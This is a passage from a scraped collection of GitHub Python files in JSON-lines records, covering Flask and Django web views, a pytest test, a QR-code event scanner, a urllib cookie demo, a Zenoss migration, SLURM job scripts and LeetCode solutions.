methods=[\"GET\"])\n@cross_origin(headers=['Content-Type'])\ndef get_object_id():\n s = Service()\n _id = s.get_object_id() \n return jsonify(id=_id)\n\n@app.route('/pictures', methods=['POST'])\n@cross_origin(headers=['Content-Type'])\ndef save_pictures():\n _service = ItemPictureService()\n d = json.loads(request.data)\n username = d['username']\n pictures = d['pictures']\n _pics = {}\n \n for name in pictures:\n if pictures[name] != '':\n fdata = FileData(pictures[name]) \n fs = FS()\n path = os.path.join(r'images', username, d['id'])\n fname = name + '.'+fdata.file_ext\n # Save picture\n fs.save(fname, os.path.join(SERVER_PATH, path), fdata.data)\n \n # Save information to database\n order = int(name.lstrip('f'))\n fpath = os.path.join(path, fname)\n _id = _service.save_item_picture({'fpath':fpath, 'item_id':ObjectId(d['id']), 'order':order}, 'new')\n _pics[name]=_id\n else:\n _pics[name]=''\n \n return jsonify(pictures=json.dumps(_pics))\n\n\n@app.route('/itemPictures', methods=[\"GET\"])\n@cross_origin(headers=['Content-Type'])\ndef get_item_pictures():\n _service = ItemPictureService()\n items = _service.get_item_pictures() \n return jsonify(items=json.dumps(items))\n\n","repo_name":"alexmerser/flask-cms-1","sub_path":"routes/item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":3222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7462317080","text":"import pytest\nfrom pytest_parametrize.pages.search_product import SearchProduct\n\n\n@pytest.mark.usefixtures(\"setup\")\nclass TestProductSearch:\n\n @pytest.mark.parametrize(\n \"product_name, result\",\n [\n ('t-shirt', 't-shirt'),\n pytest.param('dress', 'dress', marks=pytest.mark.basic, id=\"product_found\"),\n pytest.param('jeans', 'jeans', marks=[pytest.mark.basic, pytest.mark.xfail], id=\"product_not_found\"),\n ],\n )\n def test_product_search(self, product_name, result):\n self.driver.get(\"http://automationpractice.com/index.php\")\n search_product_page = SearchProduct(self.driver)\n search_product_page.product_search(product_name)\n search_result = search_product_page.find_product_name()\n\n assert result in search_result\n","repo_name":"marbor92/pytest_parametrize","sub_path":"tests/test_product_search.py","file_name":"test_product_search.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13968808504","text":"import cv2\nimport requests\nfrom pyzbar import pyzbar\nimport urllib3\nimport json\nimport vlc\n\n\noldbarcode_info=\"\"\noldText=\"\"\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\np = vlc.MediaPlayer(\"file:///web/piep.mp3\")\n\ndef read_barcodes(frame):\n barcodes = pyzbar.decode(frame)\n global oldbarcode_info\n global oldText\n for barcode in barcodes:\n x, y , w, h = barcode.rect\n \n barcode_info = barcode.data.decode('utf-8') \n \n if oldbarcode_info==barcode_info:\n #print(\"Old Code\")\n cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 0, 255), 2)\n font = cv2.FONT_HERSHEY_DUPLEX\n cv2.putText(frame, oldText, (x + 6, y - 6),\n font, 2.0, (255, 255, 255), 1)\n\n else:\n print(\"READ:\"+barcode_info)\n oldbarcode_info=barcode_info\n txt = str(\"\"+barcode_info)\n #txt = str(txt.replace(\"%2B\", \"+\"))\n\n if txt.find(\"uuid=\")!=-1:\n uuid = txt[txt.index(\"uuid=\")+5:] \n print(\"UUID:\"+str(uuid))\n r = requests.get('https://idcard.mmbbs.de/event?uuid='+str(uuid), verify=False)\n data = r.json()\n if data:\n print(\"READ:\")\n print(json.dumps(data, indent=4, sort_keys=True))\n p.play()\n if data[\"uuid\"]==uuid:\n cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 255, 0), 2)\n font = cv2.FONT_HERSHEY_DUPLEX\n cv2.putText(frame, data[\"vorname\"]+\" \"+data[\"name\"], (x + 6, y - 6),\n font, 2.0, (255, 255, 255), 1)\n oldText = data[\"vorname\"]+\" \"+data[\"name\"]\n r = requests.put(\n \"https://dev.mm-bbs.de:8083/event?uuid=\"+str(uuid), verify=False)\n #data = json.load(r.content)\n print(\"ARRIVED:\")\n #print(json.dumps(data, indent=4, sort_keys=True))\n\n else:\n cv2.rectangle(frame, (x, y), (x+w, y+h), (255, 0, 0), 2)\n font = cv2.FONT_HERSHEY_DUPLEX\n cv2.putText(frame, \"Invalid\", (x + 6, y - 6),\n font, 2.0, (255, 255, 255), 1)\n oldText = \"Invalid\"\n else:\n cv2.rectangle(frame, (x, y), (x+w, y+h), (255, 0, 0), 2)\n font = cv2.FONT_HERSHEY_DUPLEX\n cv2.putText(frame, \"unknown\", (x + 6, y - 6),\n font, 2.0, (255, 0, 0), 1)\n oldText = \"unknown\"\n else:\n cv2.rectangle(frame, (x, y), (x+w, y+h), (255, 0, 0), 2)\n font = cv2.FONT_HERSHEY_DUPLEX\n cv2.putText(frame, \"Invalid\", (x + 6, y - 6),\n font, 2.0, (255, 255, 255), 1)\n oldText=\"Invalid\"\n return frame\n\ndef main():\n #1\n camera = cv2.VideoCapture(1)\n ret, frame = camera.read()\n #2\n while ret:\n ret, frame = camera.read()\n frame = read_barcodes(frame)\n cv2.imshow('Barcode/QR code reader', frame)\n if cv2.waitKey(1) & 0xFF == 27:\n break\n #3\n camera.release()\n cv2.destroyAllWindows()\n#4\nif __name__ == '__main__':\n main()\n","repo_name":"jtuttas/schuelerausweis","sub_path":"Eventscanner.py","file_name":"Eventscanner.py","file_ext":"py","file_size_in_byte":3447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12002144059","text":"import random\nimport string\n\nfrom allauth.account.models import EmailAddress\nfrom django.contrib.auth.models import User\n\n\ndef get_random_string(length=10, charset=string.ascii_letters):\n return ''.join(random.choices(charset, k=length))\n\n\ndef create_random_user():\n username = get_random_string()\n email = '{}@test.com'.format(username)\n user = User.objects.create(\n username=username,\n email=email\n )\n EmailAddress.objects.create(\n user=user,\n email=email,\n verified=True,\n primary=True\n )\n return user\n","repo_name":"protux/Mobile_State_Server","sub_path":"src/mosta/utils/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25218894095","text":"# 给出两个 非空 的链表用来表示两个非负的整数。其中,它们各自的位数是按照 逆序 的方式存储的,并且它们的每个节点只能存储 一位 数字。\r\n#\r\n# 如果,我们将这两个数相加起来,则会返回一个新的链表来表示它们的和。\r\n#\r\n# 您可以假设除了数字 0 之外,这两个数都不会以 0 开头。\r\n#\r\n# 示例:\r\n#\r\n# 输入:(2 -> 4 -> 3) + (5 -> 6 -> 4)\r\n# 输出:7 -> 0 -> 8\r\n# 原因:342 + 465 = 807\r\n#\r\n# 来源:力扣(LeetCode)\r\n# 链接:https://leetcode-cn.com/problems/add-two-numbers\r\n# 著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。\r\n\r\nclass Solution:\r\n def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode:\r\n dummyHead = ListNode(0)\r\n curr, carry = dummyHead, 0\r\n while l1 or l2:\r\n sum = 0\r\n if l1:\r\n sum += l1.val\r\n l1 = l1.next\r\n if l2:\r\n sum += l2.val\r\n l2 = l2.next\r\n sum += carry\r\n carry = sum // 10\r\n curr.next = ListNode(sum % 10)\r\n curr = curr.next\r\n if carry > 0:\r\n curr.next = ListNode(1)\r\n return dummyHead.next;","repo_name":"liauraljl/liauraPyProject","sub_path":"leeCode/2. 两数相加.py","file_name":"2. 两数相加.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"39514277837","text":"import os\nimport uuid\n\nfrom stitches_py.resources import field, subfield, subsystem, ss_interface, ss_thread\n\nfrom CameraConfig import CameraConfig\nfrom CameraFrame import CameraFrame\n\n@subsystem(\n wrapper_image='detector-wrapper'\n)\nclass Camera:\n def __init__(self, config: CameraConfig = None):\n super().__init__()\n\n import cv2\n\n pipeline = os.environ.get('CONFIG_GST_PIPELINE', f'v4l2src device=/dev/video0 ! image/raw, width=640, height=480 ! appsink')\n \n\n print(f'Opening GST pipeline \"{pipeline}\"')\n self._cam = cv2.VideoCapture('/dev/video0')\n self._current_frame = CameraFrame()\n\n\n @ss_interface\n def current_frame(self) -> CameraFrame:\n \"\"\"\n Current camera frame.\n \"\"\"\n print(f'Sending frame {self._current_frame}')\n return self._current_frame\n \n\n @ss_thread\n def _run(self):\n \"\"\"\n Run camera\n \"\"\"\n frame_count = 0\n while not self._shutdown_requested:\n ret, frame = self._cam.read()\n\n if ret:\n if frame is not None:\n self._current_frame = CameraFrame.from_numpy(frame)\n self._current_frame.frame_idx = frame_count\n self.current_frame()\n\n frame_count += 1\n else:\n print('Frame is empty')\n else:\n print('Error reading frame from camera')\n","repo_name":"illinois-ari/stitches-py","sub_path":"tutorials/2_object_detector/Camera.py","file_name":"Camera.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34896968089","text":"line = input().split()\n\nproducts = {}\n\nfor idx in range(0, len(line), 2):\n product = line[idx]\n quantity = int(line[idx + 1])\n products[product] = quantity\n\n\nneeded_products = input().split()\n\nfor product in needed_products:\n if product in products:\n print(f'We have {products[product]} of {product} left')\n else:\n print(f\"Sorry, we don't have {product}\")","repo_name":"milkomardev/Python-Fundamentals-SoftUni","sub_path":"dictionaries/02.stock.py","file_name":"02.stock.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21969242415","text":"class Node:\n def __init__(s,data):\n s.data=data\n s.next=None\nclass LinkedList:\n def __init__(s) -> None:\n s.head=None\n def add_at_end(s,data):\n n_node=Node(data)\n if(s.head is None):\n s.head=n_node\n else:\n temp=s.head\n while(temp.next):\n temp=temp.next\n temp.next=n_node\n def display(s):\n if(s.head is None):\n return \"List is empty\"\n temp=s.head\n while(temp):\n print(temp.data,end='-->')\n temp=temp.next\n print()\ndef mearge(ll1,ll2,n):\n temp1=ll1.head\n temp2=ll2.head\n newll=LinkedList()\n for i in range(n):\n newll.add_at_end(temp1.data)\n temp1=temp1.next\n while(temp2):\n newll.add_at_end(temp2.data)\n temp2=temp2.next\n while(temp1):\n newll.add_at_end(temp1.data)\n temp1=temp1.next\n newll.display()\n \n\nll1=LinkedList()\nll2=LinkedList()\nl1=[int(i) for i in input().split()]\nl2=[int(i) for i in input().split()]\nn=int(input())\nfor i in l1:\n ll1.add_at_end(i)\nfor i in l2: \n ll2.add_at_end(i)\nll1.display()\nll2.display()\nmearge(ll1,ll2,n)\n","repo_name":"subhasish7077/Super_Coder_GIETU","sub_path":"Week2(Data_structure)/Practice Questions/Q16merge_linked_list.py","file_name":"Q16merge_linked_list.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14958709613","text":"\"\"\"\nGiven an integer n, return true if n has exactly three positive divisors. Otherwise, return false.\n\nAn integer m is a divisor of n if there exists an integer k such that n = k * m.\n\n\n\nExample 1:\n\nInput: n = 2\nOutput: false\nExplantion: 2 has only two divisors: 1 and 2.\nExample 2:\n\nInput: n = 4\nOutput: true\nExplantion: 4 has three divisors: 1, 2, and 4.\n\n\nConstraints:\n\n1 <= n <= 104\n\"\"\"\n\n\nclass Solution:\n def isThree(self, n: int) -> bool:\n factors_of_n = []\n\n for num in range(1, n+1):\n if n % num == 0:\n factors_of_n.append(num)\n\n return True if len(factors_of_n) == 3 else False\n\n\nsolution = Solution()\nprint(solution.isThree(n=2))\nprint(solution.isThree(n=4))\nprint(solution.isThree(n=6))\n\n","repo_name":"ImSakunthala/leetcode","sub_path":"Beginner_level/Array/three_divisor.py","file_name":"three_divisor.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26643523538","text":"\n# ----------------- Pipeline ----------------- #\n\nimport pandas as pd\n\nimport plotly.express as px\n\nclass PreProcess():\n \n def __init__(self):\n self.data = None\n \n \n def remove_alarm_over_n(self,n=10000):\n \"\"\"Remove\"\"\"\n \n \n def topo_close(self, level = 1):\n \"\"\"\"\"\"\n\n\n\n\ndef start_with_x(topology, x = 0, level_to_search = 2):\n \"\"\"从deviceid 为x的节点出发,能到达的节点\"\"\"\n # initial\n \n # level 1 \n connected = topology[x]\n \n \n # search for level 2\n index_of_connected_1 = connected.nonzero()[0]\n connected_all = set()\n for i in index_of_connected_1:\n # print(i)\n connected = topology[i]\n index_of_connected = connected.nonzero()\n # print(index_of_connected)\n \n connected_all = connected_all.union(index_of_connected[0])\n \n return connected_all\n \n \ndef make_window_sample(alarms, win_size = 300, remove_outlier = True):\n \"\"\"make window size\"\"\"\n alarms = alarms.sort_values(by='start_timestamp')\n alarms['win_id'] = alarms['start_timestamp'].map(lambda elem:int(elem/win_size))\n\n \n \n shape_alarm = alarms.shape\n \n # 去掉一些一个window内太多或者太少的\n if remove_outlier:\n max = alarms.groupby(['win_id'])['start_timestamp'].count().quantile(0.97)\n \n #太少的反而有很多的时候很关键,继续进行保留\n # min = alarms.groupby(['win_id'])['start_timestamp'].count().quantile(0.05)\n \n # alarms = alarms.groupby(['win_id']).filter(lambda x: len(x) < max and len(x) > min)\n alarms_for_apply = alarms.copy()\n alarms = alarms.groupby(['win_id']).filter(lambda x: len(x) < max )\n \n print(\"Window size {} Total {} removed {} alarms\".format(win_size,\n shape_alarm[0],\n shape_alarm[0] - alarms.shape[0]))\n \n \n print(\"Window size {} Total {} alarms\".format(win_size, alarms.shape[0]))\n \n samples=alarms.groupby(['alarm_id','win_id'])['start_timestamp'].count().unstack('alarm_id')\n samples = samples.dropna(how='all').fillna(0)\n samples = samples.sort_index(axis=1)\n \n return samples\n\ndef make_window_sample_multi(alarms, win_size = [450, 900, 1500], remove_outlier = True):\n \"\"\"make window size\"\"\"\n\n # win_size = [450, 600, 900, 1200]\n \n s_list = []\n for w in win_size:\n s = make_window_sample(alarms, win_size = w, remove_outlier=remove_outlier)\n s_list.append(s)\n s_all = pd.concat(s_list)\n \n return s_all\n \n\n\n\ndef make_sample_based_on_topo(alarms, topology, win_size = [1000,1500], remove_outlier = True):\n \"\"\"make window size\"\"\"\n \n samples_list = []\n \n device_count = topology.shape[0]\n \n for start in range(device_count):\n\n connected = start_with_x(topology, start)\n\n print(\"Looking for connected, Processing device: {} Number of Connected: {}\".format(start, len(connected)))\n\n alarms_connected = alarms[alarms['device_id'].isin(connected)]\n\n print(\"Number of alarms connected: {} Percentage {:.2f}\".format(alarms_connected.shape[0], alarms_connected.shape[0]/alarms.shape[0]))\n\n # window_sample = make_window_sample(alarms_connected, win_size=300)\n \n samples = make_window_sample_multi(alarms_connected, win_size=win_size, remove_outlier = remove_outlier)\n \n \n \n samples_list.append(samples)\n \n samples_all = pd.concat(samples_list)\n \n \n # 这里发现了na 先快速处理一下\n \n na_count = samples_all.isna().sum()\n print(\"NA count: {} Percentage {}\".format(na_count, na_count/samples_all.shape[0]))\n \n samples_all = samples_all.fillna(0)\n \n return samples_all","repo_name":"stvgz/causality-mfg","sub_path":"NeurIPS2023/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":3870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17615461273","text":"import logging\nimport time\nlog = logging.getLogger(\"zen.migrate\")\n\nimport Migrate\nimport servicemigration as sm\n\nsm.require(\"1.1.11\")\n\nclass RateCutoff(Migrate.Step):\n \"\"\"Fix the credentials for consumer and query services\"\"\"\n\n version = Migrate.Version(300, 0, 1)\n\n def cutover(self, dmd):\n try:\n ctx = sm.ServiceContext()\n except sm.ServiceMigrationError:\n log.info(\"Couldn't generate service context, skipping.\")\n return\n\n query_svcs = filter(lambda s: s.name == 'CentralQuery', ctx.services)\n for query_svc in query_svcs:\n configfiles = query_svc.originalConfigs + query_svc.configFiles\n for configfile in filter(lambda f: f.name == '/opt/zenoss/etc/central-query/configuration.yaml', configfiles):\n if \"ignoreRateOption\" not in configfile.content:\n insertAfter = 'sendRateOptions:'\n if insertAfter not in configfile.content:\n insertAfter = 'metrics:'\n lines = configfile.content.split('\\n')\n newLines = []\n for line in lines:\n newLines.append(line)\n if insertAfter in line:\n newLines.append(' ignoreRateOption: true')\n newLines.append(' rateOptionCutoffTs: {{(getContext . \"centralquery.ratecutoff\")}}')\n configfile.content = '\\n'.join(newLines)\n\n parent = ctx.getTopService()\n if \"centralquery.ratecutoff\" not in parent.context:\n now = int(time.time() * 1000)\n parent.context[\"centralquery.ratecutoff\"] = now\n\n ctx.commit()\n\nRateCutoff()\n\n","repo_name":"zenoss/zenoss-prodbin","sub_path":"Products/ZenModel/migrate/rate_cutoff.py","file_name":"rate_cutoff.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"61"} +{"seq_id":"12245484086","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Feb 1 11:18:12 2021\r\n\r\n@author: Lars Holen (244697@student.usn.no)\r\n\r\n\"\"\"\r\n\r\n# %% Imports\r\n\r\n\r\n\r\n\r\n# %% Define variables\r\n\r\nfar = 0 # Degrees Farenheit, edits this number\r\ncel = (far-32) *(5/9)\r\n\r\n\r\n# %% Printing results\r\n\r\nprint(far, \" degrees farenheit equals \" , cel, \" degrees celcius.\" )\r\n","repo_name":"LarsHolen/PythonCourses2021","sub_path":"PY1010/Oppg2-3.py","file_name":"Oppg2-3.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15353367516","text":"# Sort Numbers - Factor Count\n# The program must accept N positive integers as the input and sort them based on the factor count (lowest to highest factor count). If two numbers have the same factor count, order based on the value of the numbers in the ascending order.\n\n# Input Format:\n# The first line will contain N.\n# The second line will contain N positive integers separated by a space.\n\n# Output Format:\n# The first line will contain the N positive integers (separated by a space) ordered by their factor count.\n\n# Boundary Conditions:\n# 2 <= N <= 10000\n\n# Example Input/Output 1:\n# Input:\n# 5\n# 18 23 100 1200 45\n\n# Output:\n# 23 18 45 100 1200\n\n# Example Input/Output 2:\n# Input:\n# 3\n# 29 11 101\n\n# Output:\n# 11 29 101\n\n\n\n\n\n\n\ninput()\ndef fact(x):\n count = 0\n for i in range(2,x+1):\n if x%i==0: count += 1\n return count\nprint(*sorted(list(map(int,input().split())),key = lambda x:(fact(x),x )))","repo_name":"Logesh08/Programming-Daily-Challenges","sub_path":"Sort Numbers - Factor Count.py","file_name":"Sort Numbers - Factor Count.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31961099401","text":"from abc import ABC\n\nimport torch\nimport gpytorch\n\nfrom botorch.models import SingleTaskGP\nfrom botorch import fit_gpytorch_model\n\n# # use a GPU if available\n# device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n# dtype = torch.float\n\n\n# GPyTorch\nclass ExactGaussianProcess(SingleTaskGP):\n def __init__(self, train_x, train_y,\n likelihood=gpytorch.likelihoods.GaussianLikelihood(),\n covar_module=gpytorch.kernels.ScaleKernel(\n gpytorch.kernels.MaternKernel(nu=2.5))\n ):\n \"\"\"\n\n :param train_x: (n, d) torch.Tensor\n :param train_y: (n, 1) torch.Tensor\n :param likelihood:\n :param covar_module: Default assumes that all dimensions of x are of the\n same scale. This assumption requires data preprocessing.\n \"\"\"\n train_X = train_x.float()\n train_Y = train_y.float()\n\n super().__init__(train_X=train_X,\n train_Y=train_Y,\n likelihood=likelihood,\n covar_module=covar_module)\n\n def fit(self, train_x_, train_y_):\n \"\"\"\n Fit the Gaussian Process to training data on\n the marginal log likelihood. (refits the model hyperparameters)\n\n Code based on the following GPyTorch tutorial:\n https://gpytorch.readthedocs.io/en/latest/examples/01_Exact_GPs/Simple_GP_Regression.html#Training-the-model\n\n :param train_x_: torch.Tensor (n, d)\n :param train_y_: torch.Tensor (n, 1)\n \"\"\"\n\n train_X = train_x_.float()\n train_Y = train_y_.float()\n\n # Update self.train_x and self.train_y\n self.set_train_data(inputs=train_X, targets=train_Y)\n\n # \"Loss\" for GPs - the marginal log likelihood\n mll = gpytorch.mlls.ExactMarginalLogLikelihood(self.likelihood, self)\n mll = mll.to(train_X)\n\n fit_gpytorch_model(mll)\n\n def set_train_data(self, inputs=None, targets=None, strict=True):\n \"\"\"\n ** Adapted from gpytorch.models.exactgp **\n Set training data (does not re-fit model hyper-parameters).\n\n :param torch.Tensor inputs: The new training inputs.\n :param torch.Tensor targets: The new training targets.\n :param bool strict: (default True) If `True`, the new inputs and\n targets must have the same dtype/device as the current inputs and\n targets. Otherwise, any dtype/device are allowed.\n \"\"\"\n if inputs is not None:\n if torch.is_tensor(inputs):\n inputs = (inputs,)\n inputs = tuple(input_.unsqueeze(-1) if input_.ndimension() == 1 else input_ for input_ in inputs)\n if strict:\n for input_, t_input in zip(inputs, self.train_inputs or (None,)):\n for attr in {\"dtype\", \"device\"}:\n expected_attr = getattr(t_input, attr, None)\n found_attr = getattr(input_, attr, None)\n if expected_attr != found_attr:\n msg = \"Cannot modify {attr} of inputs (expected {e_attr}, found {f_attr}).\"\n msg = msg.format(attr=attr, e_attr=expected_attr, f_attr=found_attr)\n raise RuntimeError(msg)\n self.train_inputs = inputs[0]\n if targets is not None:\n if strict:\n for attr in {\"dtype\", \"device\"}:\n expected_attr = getattr(self.train_targets, attr, None)\n found_attr = getattr(targets, attr, None)\n if expected_attr != found_attr:\n msg = \"Cannot modify {attr} of targets (expected {e_attr}, found {f_attr}).\"\n msg = msg.format(attr=attr, e_attr=expected_attr, f_attr=found_attr)\n raise RuntimeError(msg)\n self.train_targets = targets\n","repo_name":"rees-c/PyREMBO","sub_path":"ExactGaussianProcessV3.py","file_name":"ExactGaussianProcessV3.py","file_ext":"py","file_size_in_byte":3921,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"61"} +{"seq_id":"31291251744","text":"# dictionary\nimport json\n\nd = {'a': 1, 'b': 2, 'c': 3}\n\nd1 = d.copy()\n\nprint(d)\nprint(d1)\n\nprint('Removing original dictionary')\nd.clear()\nprint(d)\nprint(d1)\n\n# Dictionary in dictionary\nprint('\\nDictionary in dictionary:')\nperson = {\n \"Alex\": {\n \"email\": \"alex@gmail.com\",\n \"age\": 35\n },\n \"John\": {\n \"email\": \"john@yahoo.com\",\n \"age\": 47\n }\n}\n\n# getting values of dictionary\nprint(person[\"Alex\"])\nprint(person[\"John\"][\"age\"])\n\n\n# iterating through item of dictionary\nfor key, val in person[\"Alex\"].items():\n print(f\"{key} - {val}\")\n\n# iterating through all items of dictionary\nfor key, val in person.items():\n print(f\"{key} - {val}\")\n\n# converting dictionary to JSON\nj1 = json.dumps(person)\nprint(j1)","repo_name":"MikeKorsikov/PythonClasses","sub_path":"Lesson13n/lesson13n.py","file_name":"lesson13n.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25312925865","text":"from django.shortcuts import render,redirect,get_object_or_404,session\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom django.contrib import messages\r\nfrom .models import *\r\nimport hashlib\r\n\r\n# Create your views here.\r\n\r\ndef login(request):\r\n if request.method == 'POST':\r\n email = request.form.get('email')\r\n password = request.form.get('password')\r\n\r\n user = login.query.filter_by(email=email).first()\r\n if not user:\r\n return \"Email address not found\"\r\n\r\n hashed_password = hashlib.sha256(password.encode()).hexdigest()\r\n if user.password != hashed_password:\r\n return \"Incorrect password\"\r\n\r\n session['user_id'] = user.id\r\n return render(request,'index.html')\r\n\r\n return render(request,'login.html')\r\n\r\n@login_required\r\ndef index(request):\r\n users = Expense.objects.all()\r\n context = {\r\n 'users':users,\r\n }\r\n return render(request, 'index.html',context)\r\n\r\n@login_required\r\ndef add(request):\r\n if request.method == 'POST':\r\n name = request.POST.get('name')\r\n date = request.POST.get('date')\r\n category = request.POST.get('category')\r\n description = request.POST.get('description')\r\n amount = request.POST.get('amount')\r\n created_by = request.user\r\n expense = Expense(\r\n name=name,\r\n date=date,\r\n category=category,\r\n description=description,\r\n amount=amount,\r\n created_by=created_by,\r\n )\r\n expense.save()\r\n messages.success(request, 'Expense created successfully!')\r\n return redirect('home')\r\n else:\r\n expense = Expense()\r\n context = {'expense': expense}\r\n return render(request, 'index.html',context)\r\n \r\nlogin_required\r\ndef edit(request):\r\n users = Expense.objects.all()\r\n context = {\r\n 'users':users,\r\n }\r\n return redirect(request, 'upate',context)\r\n \r\n@login_required\r\ndef update(request, id):\r\n expense = get_object_or_404(Expense, pk=id, created_by=request.user)\r\n if request.method == 'POST':\r\n expense.name = request.POST['name']\r\n expense.date = request.POST['date']\r\n expense.category = request.POST['category']\r\n expense.description = request.POST['description']\r\n expense.amount = request.POST['amount']\r\n expense.save()\r\n messages.success(request, 'Expense updated successfully!')\r\n return redirect('index')\r\n return render(request, 'index.html', {'expense': expense})\r\n\r\n@login_required\r\ndef delete(request, id):\r\n expense = get_object_or_404(Expense, pk=id, created_by=request.user)\r\n expense.delete()\r\n messages.success(request, 'Expense deleted successfully!')\r\n return redirect('index')\r\n\r\n@login_required\r\ndef view_expenses(request):\r\n if request.user.is_staff:\r\n expenses = Expense.objects.all()\r\n else:\r\n expenses = Expense.objects.filter(created_by=request.user)\r\n return render(request, 'index', {'expenses': expenses})\r\n\r\ndef logout():\r\n session.pop('user_id', None)\r\n return redirect('/')\r\n","repo_name":"divyanka-singh/CRUD","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4128930950","text":"import http.cookiejar, urllib.request\r\n\r\n# 实例化cookiejar对象\r\ncookie = http.cookiejar.CookieJar()\r\n# 使用 HTTPCookieProcessor 构建一个 handler\r\nhandler = urllib.request.HTTPCookieProcessor(cookie)\r\n# 构建Opener\r\nopener = urllib.request.build_opener(handler)\r\n# 发起请求\r\nresponse = opener.open('https://www.baidu.com/')\r\nprint(cookie)\r\nfor item in cookie:\r\n print(item.name + ' = ' + item.value)\r\n\r\n# cookies 保存 Mozilla 型文件示例\r\nfilename = 'cookies_mozilla.txt'\r\ncookie = http.cookiejar.MozillaCookieJar(filename)\r\nhandler = urllib.request.HTTPCookieProcessor(cookie)\r\nopener = urllib.request.build_opener(handler)\r\nresponse = opener.open('http://www.baidu.com')\r\ncookie.save(ignore_discard=True, ignore_expires=True)\r\nprint('cookies_mozilla 保存成功')\r\n\r\n# cookies 保存 LWP 型文件示例\r\nfilename = 'cookies_lwp.txt'\r\ncookie = http.cookiejar.LWPCookieJar(filename)\r\nhandler = urllib.request.HTTPCookieProcessor(cookie)\r\nopener = urllib.request.build_opener(handler)\r\nresponse = opener.open('http://www.baidu.com')\r\ncookie.save(ignore_discard=True, ignore_expires=True)\r\nprint('cookies_lwp 保存成功')\r\n\r\n# 请求是使用 Mozilla 型文件\r\ncookie = http.cookiejar.MozillaCookieJar()\r\ncookie.load('cookies_mozilla.txt', ignore_discard=True, ignore_expires=True)\r\nhandler = urllib.request.HTTPCookieProcessor(cookie)\r\nopener = urllib.request.build_opener(handler)\r\nresponse = opener.open('http://www.baidu.com')\r\nprint(response.read().decode('utf-8'))","repo_name":"meteor1993/python-learning","sub_path":"python-spider/urllib-request/Demo_Cookies.py","file_name":"Demo_Cookies.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"61"} +{"seq_id":"9872594735","text":"import sys\nimport os\n\n\ndef make_job(filename, header_lines, index):\n with open(filename, \"w\") as f:\n f.write(''.join(header_lines) + \" {}\\n\".format(index))\n\n\ndef make_all_jobs(jobs_dir):\n with open('slurm_header.txt') as f:\n lines = f.readlines()\n newlines = []\n for line in lines:\n if line.strip().endswith('YOUR_ACCOUNT_HERE'):\n raise ValueError('You need to change the slurm_header.txt file and put your account name.')\n if line.startswith('LOAD_YOUR_MODULES_HERE_IF_NEEDED'):\n raise ValueError('You need to remove the LOAD_YOUR_MODULES_HERE_IF_NEEDED line in slurm_header.txt ' +\n 'and replace it with the commands to load your Python environment, if needed.')\n if line.startswith('cd /path/to/your/dynasigml_vim2_example/folder'):\n raise ValueError('You need to change the cd /path/to/your/dynasigml_vim2_example/folder line in ' +\n 'slurm_header.txt and replace it with the full path to the dynasigml_vim2_example folder.')\n if line.startswith('python run_one_dynasigdf.py'):\n line = 'python run_one_dynasigdf.py'\n newlines.append(line)\n break\n newlines.append(line)\n with open('{}/start_jobs.sh'.format(jobs_dir), 'w') as f:\n for i in range(20):\n jobname = 'job_{}.sh'.format(i)\n make_job('{}/{}'.format(jobs_dir, jobname), newlines, i)\n f.write('sbatch {}\\n'.format(jobname))\n\n\nif __name__ == \"__main__\":\n if not os.path.isdir(\"parallel_jobs\"):\n os.mkdir(\"parallel_jobs\")\n make_all_jobs(\"parallel_jobs\")\n","repo_name":"gregorpatof/dynasigml_vim2_example","sub_path":"make_jobs.py","file_name":"make_jobs.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35863805141","text":"class Solution:\n def isItPossible(self, word1: str, word2: str) -> bool:\n count1, count2 = Counter(word1), 